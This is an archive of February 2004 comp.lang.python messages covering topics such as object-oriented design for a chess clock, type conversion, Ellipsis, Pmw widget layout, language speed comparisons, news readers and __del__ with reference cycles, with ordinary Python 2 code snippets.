References: <2ca51434.0402171108.1cdbecb6@posting.google.com>
	<7x7jykkcoq.fsf@ruckus.brouhaha.com>
	<2ca51434.0402181243.514dcee9@posting.google.com>
Message-ID: <7xfzd82i7f.fsf@ruckus.brouhaha.com>

ml71 at katamail.com (DrPike) writes:
> > www.captcha.net
> 
> Thanks for this information despite the fact I posted in Italian ;-))

Yeah, I could decrypt just enough of your post to guess what you were
asking, but of course I couldn't reply in Italian beyond posting the
URL :)


From fidtz at clara#spam#.co.uk  Mon Feb 16 09:54:31 2004
From: fidtz at clara#spam#.co.uk (DomF)
Date: Mon, 16 Feb 2004 14:54:31 -0000
Subject: OO style advice
Message-ID: <1076943278.22567.0@echo.uk.clara.net>

I have been putting together a little text chess program and have run into a
style issue when integrating my chess clock with my chessboard generator.
Basically, I would like to be able to manipulate the clock independently of
the board but also want the clock time as displayed by the board to change
automatically.

I am passing in a clock object to the board in __init__ to achieve this.
However, means that the clock object can be changed via the board object and
the clock object. Is this good style or should I be designing in a totally
different way?

I previously had them separate but that led to lots of ugly board.time1 =
clock.time1 statements.

Chopped up for brevity but tested code below.

Thanks for looking,

Dom Fitzpatrick

#-------#
import time

class ChessBoard:

    def __init__(self,clock):
        '''Pass in a clock object with time1 and time2 attributes.'''
        self.clock = clock

    def testforpost(self):
        print self.clock.time1
        print self.clock.time2

class ChessClock:

    defaulttime = 7200

    def __init__(self,startvalue1=defaulttime,startvalue2=defaulttime):
        '''set up the clock for the start of a game'''
        ChessClock.defaulttime = startvalue1
        self.time1 = startvalue1
        self.time2 = startvalue2
        self.state = 'Stopped'


    def reset(self,value1=defaulttime,value2=defaulttime):
        '''reset the chess clock with optional new game length'''
        self.time1 = value1
        self.time2 = value2
        self.state = 'Stopped'


    def clockgen(self):
        '''generator for clock events, uses self.state to control what
happens'''
        currenttimeleft = time.time()

        while 1:
            yield self.time1
            if self.state == 'Player1':
                self.time1 = self.time1 - int(time.time() - currenttimeleft)
                currenttimeleft = time.time()

            elif self.state == 'Player2':
                self.time2 = self.time2 - int(time.time() - currenttimeleft)
                currenttimeleft = time.time()
            else:
                currenttimeleft = time.time()



if __name__ == "__main__":

    gameclock = ChessClock()
    gameclockgen = gameclock.clockgen()
    gameclockgen.next()

    board = ChessBoard(gameclock)
    board.testforpost()

    gameclock.state = 'Player1'
    time.sleep(3)
    gameclockgen.next()

    board.testforpost()
#-----------#




From Scott.Daniels at Acm.Org  Tue Feb 10 11:33:51 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Tue, 10 Feb 2004 08:33:51 -0800
Subject: Searching
In-Reply-To: <102g0gmmd7q3601@corp.supernews.com>
References: <102fauct3hc3lcc@corp.supernews.com> <40280886$1@nntp0.pdx.net>
	<102g0gmmd7q3601@corp.supernews.com>
Message-ID: <40291176$1@nntp0.pdx.net>

Perhaps better (adds '.png' more easily, keeps original case):
     ...
     for name in files:
         lname = name.lower()    # if on windows
         for ext, names in filenames.iteritems():
             if lname.endswith(ext) and 'ocean' in name:
                 names.append(os.path.join(root, name))
                 self.listbox1.insert(END, name)
                 break
     ...
-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From rick_muller at yahoo.com  Thu Feb 12 16:13:16 2004
From: rick_muller at yahoo.com (Rick Muller)
Date: 12 Feb 2004 13:13:16 -0800
Subject: Mathematica-style notebook in Python
Message-ID: <5eb8fb88.0402121313.6a48602b@posting.google.com>

I was wondering whether anyone has considered writing a
Mathematica-style notebook in Python. I use Python to do a lot of
scientific analysis, and I really like it's power. But what I always
envy about my friends who use Mathematica is the notebooks they
generate, which contain plots, annotations, and other information, in
a format that can be reloaded easily when you want to check your work.

Before I start doing something like this, has anyone else considered
it?


From paul at boddie.net  Thu Feb 26 05:44:29 2004
From: paul at boddie.net (Paul Boddie)
Date: 26 Feb 2004 02:44:29 -0800
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake><480m30hd68ncg81if70n81h8tict03oda3@4ax.com>	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl><mailman.57.1077648520.8594.python-list@python.org>	<23891c90.0402250227.7d07849f@posting.google.com>
	<mailman.112.1077727130.8594.python-list@python.org>
Message-ID: <23891c90.0402260244.3aa8d064@posting.google.com>

"Terry Reedy" <tjreedy at udel.edu> wrote in message news:<mailman.112.1077727130.8594.python-list at python.org>...
> 
> > > It is a complement to Julian and Robin that MS noticed them enough to
> > > threaten and negotiate with them.  Also that they did not just cave but
> > > negotiated a 6 month transition period and $ for transition costs.

[Microsoft to be complimented?]

> It does not and I did not and I do not see how you could think so from my
> praising Julian and Robin.

Apologies for that misinterpretation. But then, you seem to suggest
that merit seems to be measured by how much Microsoft wants to haul
you into court. ;-)

However, I recognise your point and also regard Julian and Robin's
work highly.

Paul


From chain_lube at hotmail.com  Sun Feb  8 06:10:56 2004
From: chain_lube at hotmail.com (chain_lube at hotmail.com)
Date: 8 Feb 2004 03:10:56 -0800
Subject: Python and DISLIN
References: <%38Vb.14040$Rl4.340@bignews5.bellsouth.net>
Message-ID: <f7afbb21.0402080310.7db3e70e@posting.google.com>

"Tom Richardson" <n4we at bellsouth.net> wrote in message news:<%38Vb.14040$Rl4.340 at bignews5.bellsouth.net>...

> If anyone has any experience using the graphics package DISLIN with Python,
> I'd appreciate some help.
> 
> I am trying to use the function tifmod to change the resolution of a tif
> graphics file. Either I am using it incorrectly, or I don't understand what
> it is supposed to do.
> If I use
> 
> tifmod(N,'INCH','RESOLUTION')
> 
> and change the value of N, I think the size and properties of the resulting
> tif file should change; but nothing seems to change, regardless of how I set
> N (or any of the other parameters). I always get a tif file with the same
> size and characteristics (I did delete the file before each trial).

Hi:

[I once used Python and DISLIN. But nowadays I use something better
for my scientific calculations: Bigloo (Scheme) + DISLIN.]

That said: the best you can do: contact directly the developers of
DISLIN. I made the experience that they are very responsive; you get
answers as fast as the earth takes for one revolution around itself.


From bart_nessux at hotmail.com  Sun Feb 29 15:19:52 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Sun, 29 Feb 2004 15:19:52 -0500
Subject: Speed Comparison Perl Python & C
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
	<1Np0c.10708$C65.3685@nwrddc01.gnilink.net>
Message-ID: <c1thc8$1uq$1@solaris.cc.vt.edu>

David Lees wrote:

> Bart Nessux wrote:
>> Just fooling around this weekend. Wrote and timed programs in C, Perl and
>> Python. Each Program counts to 1,000,000 and prints each number to the
>> console as it counts. I was a bit surprised. I'm not an expert C or Perl
>> programming expery, I'm most familiar with Python, but can use the others
>> as well.
>> 
>> Here are my results:
>> 
>> C = 23 seconds
>> Python = 26.5 seconds
>> Perl = 34.5 seconds
>> 
>> Here are the programs:
>> 
>> -------------------------
>> #The C version:
>> -------------------------
>> 
>> #include <stdio.h>
>> 
>> int main(void)
>> {
>> int x = 0;
>> while (x < 1000000) {
>>    printf("%d \n", x++);
>>    }
>> }
>> 
>> -------------------------
>> #The Python version:
>> -------------------------
>> 
>> #!/usr/bin/python
>> 
>> x = 0
>> while x < 1000000:
>>    x = x + 1
>>    print x
>> 
>> -------------------------
>> #The Perl version:
>> -------------------------
>> 
>> #!/usr/bin/perl -Tw
>> 
>> use strict;
>> 
>> my $x = 0;
>> while($x < 1000000) {
>>    print $x++, "\n";
>>    }
>> 
>> What do you guys think of this? I don't know enough about Perl & C, and
>> perhaps Python, to know if this was indeed a fair test. I thought C would
>> do this much faster than it did. Any ideas?
>> 
>> 
>> 
>> 
> I don't think your times have much to do with the languages.  They are
> just how long whatever I/O library is used by a particular language
> takes.  I would guess that the loop overhead is small compared with the
> I/O formatting and output times in your example.
> 
> You should do a Google search on 'Python+benchmarks'.  Benchmarking is
> tricky and you need to consider what you are trying to compare.
> 
> David Lees

Thanks, I was trying to do something very similar in each language. Just
wanted to see how fast they could do this, nothing more. I expected the
order of the results to be c, python and then perl, and I expected c to be
the *clear* winner. I don't know that much about programming... that's why
I have all these false notions in my head about speed.



From fidtz at clara#spam#.co.uk  Thu Feb 19 07:11:30 2004
From: fidtz at clara#spam#.co.uk (DomF)
Date: Thu, 19 Feb 2004 12:11:30 -0000
Subject: OO style advice
References: <1076943278.22567.0@echo.uk.clara.net>
	<m0m230lm5dv7j3rmpe1425nof55mj11ahf@4ax.com>
Message-ID: <1077192781.94296.0@despina.uk.clara.net>

"Alan Gauld" <alan.gauld at btinternet.com> wrote in message
news:m0m230lm5dv7j3rmpe1425nof55mj11ahf at 4ax.com...
> On Mon, 16 Feb 2004 14:54:31 -0000, "DomF"
> <fidtz at clara#spam#.co.uk> wrote:
> > I am passing in a clock object to the board in __init__ to achieve this.
> > However, means that the clock object can be changed via the board object
and
> > the clock object. Is this good style or should I be designing in a
totally
> > different way?
>
> In OO objects communicate via messages. Thus think about the
> messages that can be sent to the clock. Do not think about the
> data inside the clock, that should be treated as private (even
> though Python does not enforce this).
>
> Now you have a single clock object but referenced both inside and
> outside the board. Is that really what you want or do you want
> the oard to have its own clock instance internally? If it is a
> single object then its perfectly reasonable that both internal
> and external objects can send it messages. If its an internal
> object then only the board can conceptually see it.
> If you need to initialise the internal clock you may want to take
> a time parameter to the board and use that to set the clock
> initial values, rather than passing a functioning clock object as
> the parameter.
>
> Also as somebody else said you may want to use multiple clock
> objects...
>
> > I previously had them separate but that led to lots of ugly board.time1
=
> > clock.time1 statements.
>
> Rather than access the data I'd provide a method, say
> synchronise?
>
> board.synchronise(myClock)
>
> Which internally sets the board clock to the same time as the
> parameter clock, something like:
>
> def synchronise(self, aClock):
>     self.clock.setTime(aClock.time())
>
> Whether you think that looks any less ugly than the assignments
> you had is a moot point!

There isn't only one way to do this then :)

Thanks for the reply, points taken. I think the final decision will depend
on whether I need to use the clock instance outside of the board or not. At
the moment I reckon I will for match and player classes but maybe not!

>
> Alan G.
> Author of the Learn to Program website
> http://www.freenetpages.co.uk/hp/alan.gauld




From theller at python.net  Fri Feb  6 03:11:55 2004
From: theller at python.net (Thomas Heller)
Date: Fri, 06 Feb 2004 09:11:55 +0100
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net> <Xns9486E9AD26AFEJanC@213.119.4.35>
Message-ID: <isik8w50.fsf@python.net>

JanC <usenet_spam at janc.invalid> writes:

> Thomas Heller <theller at python.net> schreef:
>
>> But I was very astonished to see that no other mail/news client I have
>> examined allows customizing the From: address depending on the folder or
>> group you are currently in.  Can that really be true?
>
> You never looked at Xnews ?   :-)

No, I need imap as well as nntp.

Thomas


From exarkun at intarweb.us  Fri Feb  6 12:49:54 2004
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 6 Feb 2004 12:49:54 -0500
Subject: OT: Recommended news reader?
In-Reply-To: <c00ho4$inl$1@news.service.uci.edu>
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net> <Xns9486E9AD26AFEJanC@213.119.4.35>
	<isik8w50.fsf@python.net> <c00ho4$inl$1@news.service.uci.edu>
Message-ID: <20040206174954.GA4593@intarweb.us>

On Fri, Feb 06, 2004 at 09:07:05AM -0800, Josiah Carlson wrote:
> >No, I need imap as well as nntp.
> 
> Mozilla Thunderbird has both nntp and imap.  Have you tried it?
> 

  The IMAP support in Thunderbird is atrocious.

  Jp



From me at privacy.net  Mon Feb 23 07:25:40 2004
From: me at privacy.net (Duncan Booth)
Date: 23 Feb 2004 12:25:40 GMT
Subject: Typecasting
References: <mailman.198.1077534828.27104.python-list@python.org>
Message-ID: <Xns94987D9D2D1Cduncanrcpcouk@127.0.0.1>

"Shah, Rajesh \(GE Consumer & Industrial\)" <Rajesh.Shah at ge.com> wrote in 
news:mailman.198.1077534828.27104.python-list at python.org:

> Hi Everybody,
> 
> Can you guide me to convert string into Int datatype?
> (i.e. How can we convert string into int? like '555' into 555)
> 
> Thanks in advance.
> 
> ~Rajesh
> 
> 

>>> int('555')
555

In general, if there is a conversion defined between two types then you do 
the conversion by calling the destination type. So calling int() will 
convert a string, float, or long to an int (but it won't convert a complex 
number); calling str() will convert just about anything to a string; 
calling list will convert other sequences into a list and so on.

>>> int(3j)

Traceback (most recent call last):
  File "<pyshell#7>", line 1, in -toplevel-
    int(3j)
TypeError: can't convert complex to int; use int(abs(z))
>>> int(4.6)
4
>>> str(3.5)
'3.5'
>>> list('hello')
['h', 'e', 'l', 'l', 'o']
>>> 





From nhodgson at bigpond.net.au  Thu Feb 12 03:19:11 2004
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Thu, 12 Feb 2004 08:19:11 GMT
Subject: Allowing non-ASCII identifiers
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net><4027EAC5.2090603@prescod.net>
	<402806A4.6020502@v.loewis.de>
	<mailman.1391.1076369629.12720.python-list@python.org>
	<102geglh6cprm45@news.supernews.com> <4029177e$1@nntp0.pdx.net>
Message-ID: <3GGWb.52713$Wa.5738@news-server.bigpond.net.au>

Scott David Daniels:

> Because some of us use archaic systems and/or fonts which are
> incapable of displaying such symbols.  Never mind whether we
> can read them.

   For such circumstances, I would like to see hex escape sequences allowed
in identifiers as in Java. That means that there is a representation of last
resort that can be used by those using less capable tools. A simple filter
could translate to and from this format for the extremely rare occasions it
would be needed.

   Neil




From jcarlson at nospam.uci.edu  Fri Feb  6 12:28:17 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 09:28:17 -0800
Subject: Interaction with two mouse
In-Reply-To: <bvviff$h2u$1@newsfeed.cineca.it>
References: <bvviff$h2u$1@newsfeed.cineca.it>
Message-ID: <c00ivu$k6q$1@news.service.uci.edu>

> Hi to everybody,
> I have an hard question:
> I want to use two indipendent mouse with my application.
> How can I implement this?

Good question.  On windows platforms, windows automatically multiplexes 
the movement of two (or more) mice into a single movement.  If you have 
two mice in windows, and move them in exact opposite directions, your 
cursor won't move.

I have a feeling that linux, or really any other system that /can/ 
handle multiple mice do the same thing.


This may suggest that it is an operating system architectural limitation 
because no one wanted to answer the question, what would it mean for two 
mouse pointers to be wandering around the screen?

  - Josiah


From jepler at unpythonic.net  Wed Feb  4 16:59:49 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 4 Feb 2004 15:59:49 -0600
Subject: dictionary question
In-Reply-To: <bvrp9s$hhp$1@nsnmrro2-gest.nuria.telefonica-data.net>
References: <bvrp9s$hhp$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <20040204215949.GD2092@unpythonic.net>

On Wed, Feb 04, 2004 at 10:47:49PM +0100, Jos? Carlos wrote:
> i have a dictionary. inside this dictionary i have several list and inside
> each list i have data.
> 
> How can i do for add data to these list.

You can change the dictionary by using methods that mutate its values:
>>> conex = {'tipoconex': ['1', '0'], 'conexionS': ['cliente1', 'cliente2'],
...          'clave': ['pepo', 'joan'], 'usuario': ['pepe', 'juan']}   
>>> conex['tipoconex'].append(3)
>>> conex['tipoconex']
['1', '0', 3]
>>> conex['tipoconex'][0] = 'None'
['None', '0', 3]

You can also change the keys by item assignment:
>>> conex['tipoconex'] = None
>>> conex
>>> conex
{'clave': ['pepo', 'joan'], 'conexionS': ['cliente1', 'cliente2'],
'tipoconex': None, 'usuario': ['pepe', 'juan']}

If this doesn't help, you should tell us more about what you want to do.

Jeff



From no.spam  Wed Feb 18 15:21:22 2004
From: no.spam (Christophe Delord)
Date: Wed, 18 Feb 2004 21:21:22 +0100
Subject: Ellipsis usage?
References: <mailman.14.1077122363.27104.python-list@python.org>
Message-ID: <20040218212122.7248dfc0.no.spam@box>

On Wed, 18 Feb 2004 11:39:04 -0500, Wayne Folta wrote:

> I see Ellipsis documented under slicing, though it appears it's not 
> used in slicing but rather slicing-like notation for dictionary keys. 
> It's a minor thing but none of the books I have even mention it. Is it
> 
> obsolete in python 2.x or still useful?
> 
> 

Hello,

I have used Ellipsis in a project where the ... notation was more
adapted than : (because x:y had another meaning in our context).

I had a class similar to this one:

class MyRange:

    def __init__(self, lst):
        self.lst = lst

    def __getitem__(self, slice):
        r = []
        items = list(slice)
        while items:
            a = items.pop(0)
            if items[:1] == [Ellipsis]:
                items.pop(0)
                b = items.pop(0)
                r.extend(self.lst[a:b+1])
            else:
                r.append(self.lst[a])
        return r

r = MyRange(list("abcdefghijklmnopqrstuvwxyz"))
print r[1, 2, 3, 10, ..., 15]

should print ['b', 'c', 'd', 'k', 'l', 'm', 'n', 'o', 'p']


But I don't know exactly what's the real use of Ellipsis and if it will
exist in the future.


From __peter__ at web.de  Sat Feb 21 04:19:49 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 21 Feb 2004 10:19:49 +0100
Subject: Label position on Homebrew  Pmw Megawidget
References: <4dd4b5fb.0402200842.79c8c942@posting.google.com>
Message-ID: <c177rm$sp9$04$1@news.t-online.com>

Greg wrote:

> I'm trying to create a megawidget for file selection that contains a
> Label, EntryField, and Browse Button (that will open a tkFileDialog).
> The label positioning won't cooperate however, could anyone help with
> this?
> 
> Here's what I want:
> labelpos='w':
>            ---------------------- ------------
> Filename:  |c:\directory\file   | |Browse... |
>            ---------------------- ------------

[...]

> My code is below.  I've tried different grid(row,column) values for
> the widgets, but that didn't seem to help.
> 
> 
> Can anyone help with this?  It's driving me nuts! I imagine I'm doing
> something wrong with the createlabel() method, or something else
> trivially simple...

I've no clue either. Enter brute force:

#!/bin/python
#Running standalone will demo the above ascii pic, plus some others:

import Pmw
import Tkinter
from Tkinter import *
import tkFileDialog

class FileSelect(Pmw.MegaWidget):
  """ Megawidget containing Pmw.Entryfield and a Browse button
      for file selection
  """

  def __init__ (self, parent=None, **kw):
    # Define the megawidget options
    optiondefs = (
                   ('labelmargin', 0,    Pmw.INITOPT),
                   ('labelpos',    None, Pmw.INITOPT),
                 )
    self.defineoptions(kw, optiondefs)

    # Initialise base class (after defining options)
    Pmw.MegaWidget.__init__(self, parent)

    # Create the components
    interior = self.interior()

    # Create a label
    self.createlabel(interior, childRows=2, childCols=1)

    # Create the Entryfield component
    self.entryfield = self.createcomponent('filename',      # Name
                                           (),              # Aliases
                                           None,            # Group
                                           Pmw.EntryField,  # Class
                                           (interior,),     # Constructor
Args
                                          )
    self.entryfield.grid(row=yoff, column=xoff)

    # Create the Browse Button
    self.browsebutton = self.createcomponent('browsebutton', # Name
                                             (),             # Aliases
                                             None,           # Group
                                             Tkinter.Button, # Class
                                             interior,       # Constructor
Args
                                             text="Browse...",
                                             command=self.getFileName
                                            )
    self.browsebutton.grid(row=yoff, column=xoff+1)

    # Check keywords and initialise options
    self.initialiseoptions()

  #------------------------------------------------------------------
  # Popup a file select dialog and fill in the entry field with the
  # chose filename
  #------------------------------------------------------------------

  def getFileName (self):
    dialog = tkFileDialog.Open()
    fname = dialog.show()
    if fname != "":
      self.entryfield.setvalue(fname)

xoff = 0
yoff = 0

def terminate():
    import sys
    sys.exit(0)

def testWidgets():
  root = Tkinter.Tk()

  # Create and pack a FileSelect widgets
  widgets = []
  Tkinter.Button(root, text="terminate app", command=terminate).pack()
  Tkinter.Button(root, text="next try", command=root.quit).pack()
  widgets.append(FileSelect(labelpos='n', label_text="north"))
  widgets.append(FileSelect(labelpos='e', label_text="east"))
  widgets.append(FileSelect(labelpos='s', label_text="south"))
  widgets.append(FileSelect(labelpos='w', label_text="west"))
  widgets.append(FileSelect(labelpos='ws', label_text="westsouth"))
  widgets.append(FileSelect(labelpos='wn', label_text="westnorth"))
  widgets.append(FileSelect(labelpos='sw', label_text="southwest"))
  widgets.append(FileSelect(labelpos='nw', label_text="northwest"))

  map(lambda w: w.pack(pady=20), widgets)
  return root

if __name__ == "__main__":
    for xoff in range(3):
        for yoff in range(3):
            root = testWidgets()
            root.title("Testing xoff=%d, yoff=%d" % (xoff, yoff))
            root.mainloop()
            root.destroy()

(xoff=1, yoff=2) seems promising.

Peter


From fuf at mageo.cz  Wed Feb 11 09:20:56 2004
From: fuf at mageo.cz (Michal Vitecek)
Date: Wed, 11 Feb 2004 15:20:56 +0100
Subject: error: 'staticmethod' object is not callable
In-Reply-To: <c0d3tc$nsg$03$1@news.t-online.com>
References: <mailman.1458.1076494925.12720.python-list@python.org>
	<c0d3tc$nsg$03$1@news.t-online.com>
Message-ID: <20040211142056.GA6277@foof.i3.cz>

Peter Otten wrote:
>You are wrapping method2() twice:
>
>class A(object):
>    def method(parA):
>        print "in A.method()"
>    method = staticmethod(staticmethod(method))
>
>A.method("first")
>
>Why would you expect this to work?

 i don't expect this to work. i just don't get it why python allows this
 double wrapping of a method. it cannot be used for anything reasonable,
 can it?

-- 
		fuf		(fuf at mageo.cz)



From mlh at furu.idi.ntnu.no  Sun Feb  1 17:14:25 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Sun, 1 Feb 2004 22:14:25 +0000 (UTC)
Subject: [ANN] Atox 0.1c1 released
Message-ID: <slrnc1qui1.acq.mlh@furu.idi.ntnu.no>

Atox is a framework for automated markup. With it one can quite easily
write custom scripts for converting plain text into XML in any way one
wishes. Atox is normally used as a command-line script, using a simple
XML language to specify the desired transformation from text to
markup, but it is also possible to build custom parsers using the Atox
library. The name (short for ASCII-to-XML) is inspired by such UNIX
tools and system functions as atops and atoi.

Atox is hosted at SourceForge (http://atox.sf.net) and the current
release (0.1c1) is available for download via its project page
(http://sf.net/projects/atox).

Feedback, especially about bugs and installation problems, is much
appreciated.

-- 
Magnus Lie Hetland           "The mind is not a vessel to be filled,
http://hetland.org            but a fire to be lighted."  [Plutarch]


From peter at engcorp.com  Mon Feb 23 08:54:50 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 23 Feb 2004 08:54:50 -0500
Subject: Python Productivity Gain?
References: <mailman.16.1077122875.27104.python-list@python.org>	<403687e1$1@nntp0.pdx.net>
	<40368BF3.2FE82B1A@engcorp.com>
	<mailman.126.1077319302.27104.python-list@python.org>
	<4036ece5$1@nntp0.pdx.net>
Message-ID: <403A062A.581B8A54@engcorp.com>

Scott David Daniels wrote:
> 
> >>A9 80 20 FF D2 40 anyone? :-)

> Actually hex was: 0 1 2 3 4 5 6 7 8 9 F G J K Q W

Why were those particular characters used?


From llothar at web.de  Wed Feb 18 09:54:30 2004
From: llothar at web.de (Lothar Scholz)
Date: 18 Feb 2004 06:54:30 -0800
Subject: Compiling python scripts to native code ??
References: <BC5784A3.10B0C%fred.mailhot@videotron.ca>
	<pan.2004.02.17.15.25.44.525912@thomas-guettler.de>
	<BC57B164.10C3B%fred.mailhot@videotron.ca>
Message-ID: <6ee58e07.0402180654.4495186e@posting.google.com>

Fred Mailhot <fred.mailhot at videotron.ca> wrote in message news:<BC57B164.10C3B%fred.mailhot at videotron.ca>...
> On 2/17/04 7:25 AM, "Thomas Guettler" <guettli at thomas-guettler.de> wrote:
> 
> > Am Tue, 17 Feb 2004 08:43:15 -0800 schrieb Fred Mailhot:
> > 
> >> Hi...
> >> 
> >> Is there any way to do this for *nix ?? Pointers to resources and/or FAQS
> >> would be much appreciated.
> > 
> > Why do you want to do this?
> > - Improve speed
> > - hide your source code
> > ...
> > 
> > thomas
> 
> Nothing quite so nefarious...*grin*...Actually, I've just realized that the
> initial question wasn't posed properly.
> 
> What I want is to be able to compile Python scripts so that they can be run
> on a system that doesn't have Python installed. I realize that maybe that
> doesn't make a lot of sense, but I want my product to be as widely
> distributable as possible.
> 

Thank the fu**ing Unix developer that there is nothing like this.
Distribution binaries is a pain and not reliable. At the moment you
can do this only on windows plattforms.


From inigoserna at terra.es  Sat Feb 14 17:57:16 2004
From: inigoserna at terra.es (=?iso-8859-1?Q?I=F1igo?= Serna)
Date: Sat, 14 Feb 2004 23:57:16 +0100
Subject: mailing list problems?
In-Reply-To: <20040214221839.GA22649@nl.linux.org>
References: <20040214221839.GA22649@nl.linux.org>
Message-ID: <20040214225716.GA19397@inigo.katxi.org>

Hello Gerrit,

I can only say "me too" :(

I?igo

On Sat, Feb 14, 2004 at 11:18:39PM +0100, Gerrit wrote:
> Hi,
> 
> I have today seen only 5 mailing list messages to the python-list.
> I see >30 messages in c.l.py newsgroup.
> Do other people experience problems as well, or do I have a problem at my end?
> 
> Gerrit.
> 
> -- 
> Weather in Twenthe, Netherlands 14/02 21:25 UTC:
> 	7.0??C   wind 1.3 m/s W (57 m above NAP)
> -- 
> Asperger's Syndrome - a personal approach:
> 	http://people.nl.linux.org/~gerrit/english/
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list
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From amk at amk.ca  Fri Feb 27 08:42:42 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Fri, 27 Feb 2004 07:42:42 -0600
Subject: How does Ruby compare to Python?? How good is DESIGN of Ruby
	compared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<92c59a2c.0402242319.3a5020d8@posting.google.com>
	<du7znb4c414.fsf@amadeus.cc.tut.fi>
Message-ID: <9-udneX41tPP1KLdRVn-jQ@speakeasy.net>

On 27 Feb 2004 10:36:39 +0200, 
	Ville Vainio <ville at spammers.com> wrote:
> If you are jonesing for a new language to play with, you could as well
> play with Lisp. At least you would learn something new.

That's pretty much my reaction to Ruby, too.  It's kind of neat, and if I
was a Perl person I'd go use Ruby instead of waiting for Perl 6, but it
isn't so different from the existing scripting languages.  If your interest
is in learning new ways of programming that turn your head around, you'd
need to look farther afield (Haskell, ML, Lisp, etc.).

--amk


From adam at gliwice.pl  Fri Feb 20 05:31:29 2004
From: adam at gliwice.pl (Adam Przybyla)
Date: Fri, 20 Feb 2004 10:31:29 +0000 (UTC)
Subject: Statement (un)equality
Message-ID: <c14nlt$2fi$2@atlantis.news.tpi.pl>

castle:/home/adam>python
Python 2.3 (#3, Aug  4 2003, 16:43:33)
[GCC 2.96 20000731 (Red Hat Linux 7.1 2.96-98)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> [[y,x] for x,y in [1,2],[3,4]]
[[2, 1], [4, 3]]
>>> map(lambda x,y: [y,x], [1,2],[3,4])
[[3, 1], [4, 2]]
>>>
Why there is a difference? How to make the same thing like in map statement?
Regards
								Adam Przybyla


From bigbinc097_DONT_SPAM at comcast.net  Sun Feb  8 01:14:27 2004
From: bigbinc097_DONT_SPAM at comcast.net (Berlin Brown)
Date: Sun, 08 Feb 2004 01:14:27 -0500
Subject: Python/Parrot still alive?
Message-ID: <tq6dnRV_eM23UrjdRVn-uw@comcast.com>

Is there going to be a python parrot release.  I looking on the web and 
seeing stuff, stilly pending.  That would be cool to see application 
servers, via python(I think that could only be with a virtual machine). 
  Could be wrong of course.



From usenet at dylanparry.com  Mon Feb 23 07:26:20 2004
From: usenet at dylanparry.com (Dylan Parry)
Date: Mon, 23 Feb 2004 12:26:20 +0000
Subject: Length in seconds of OGG/MP3
Message-ID: <pan.2004.02.23.12.26.19.437927@dylanparry.com>

Hi,

I am entirely new to Python, in fact I've only been using it for two days,
but so far I have progressed quite well :) Anyway, the problem I have is
that I want to find the play length of an Ogg or Mp3 (it could be either).

I already have a command line utility that returns the current position in
the file (number of seconds that have played) and the same utility also
returns the path of the file that is playing, but for some reason it has
no interface for telling me how long the file is!

Can this be done in Python?

-- 
Dylan Parry
http://www.webpageworkshop.co.uk - FREE Web tutorials and references



From http  Mon Feb  2 00:21:45 2004
From: http (Paul Rubin)
Date: 01 Feb 2004 21:21:45 -0800
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<bvic0i$bbt$1@panix1.panix.com>
	<7xk736s7av.fsf@ruckus.brouhaha.com>
	<bvkgjl$1r1$1@panix1.panix.com>
	<7x1xpece0g.fsf@ruckus.brouhaha.com>
	<bvkln6$d2k$1@news.service.uci.edu>
Message-ID: <7xy8rmukd2.fsf@ruckus.brouhaha.com>

Josiah Carlson <jcarlson at nospam.uci.edu> writes:
> Quoting the latest news post (http://www.livejournal.com/users/news/)
> "We now host over 2,000,000 users, roughly half of which are active in
> some way."
> 
> 'Active in some way' are those who visit and check their friends page,
> those that post updates to their own livejournal, or those that post
> replies to entries/replies on livejournals, I believe in the last month.

OK, "active in some way" can mean read-only users who neer do anything
that causes any DB updates.  It can also mean someone who posts a
comment once a month.  Also, that doesn't say how much hardware they
use.

> 30k visitors/day,

Another informative number (about 1/10th as many visitors/day as
Slashdot gets).

> many doing more than one thing when they visit (check their friends
> page, post some replies, update their own livejournal, etc.),
> everyone hitting different parts of the database, many causing
> database updates (without updates, livejournal is worthless), etc.

OK, I'm not familiar with all LJ features, but so far this doesn't sound
too bad.

> No offense, but I'd love to see you write a BBS/Blogging software that
> does that - in any language.

I have some curiosity about how to go about that (hence this thread)
but at the moment I don't have powerful enough motivation to actually
want to do the work.


From grahamd at dscpl.com.au  Sun Feb 15 19:49:51 2004
From: grahamd at dscpl.com.au (Graham Dumpleton)
Date: 15 Feb 2004 16:49:51 -0800
Subject: __del__ doesn't work
References: <21064255.0402151141.51a38fed@posting.google.com>
Message-ID: <dc6f5c99.0402151649.34422f21@posting.google.com>

PeterAbel at gmx.net (Peter Abel) wrote in message news:<21064255.0402151141.51a38fed at posting.google.com>...
> I have an application, which is an instance of a class
> with a deeply nested object hierarchy. Among others one
> method will be executed as a thread, which can be stopped.
> Everything works fine except that when deleting the main
> instance -  after the thread has been stopped -
> the __del__ method will not be carried out.

Does your deeply nested object hierarchy contain references back
onto the top level class instance itself? For example, run the following:

print "start"

class A:
  def __init__(self):
    print "init"
  def __del__(self):
    print "del"

a = A()
del a

class B:
  def __init__(self):
    print "init"
    self.a = self
  def __del__(self):
    print "del"

b = B()
del b

print "finish"

And you get:

start
init
del
init
finish

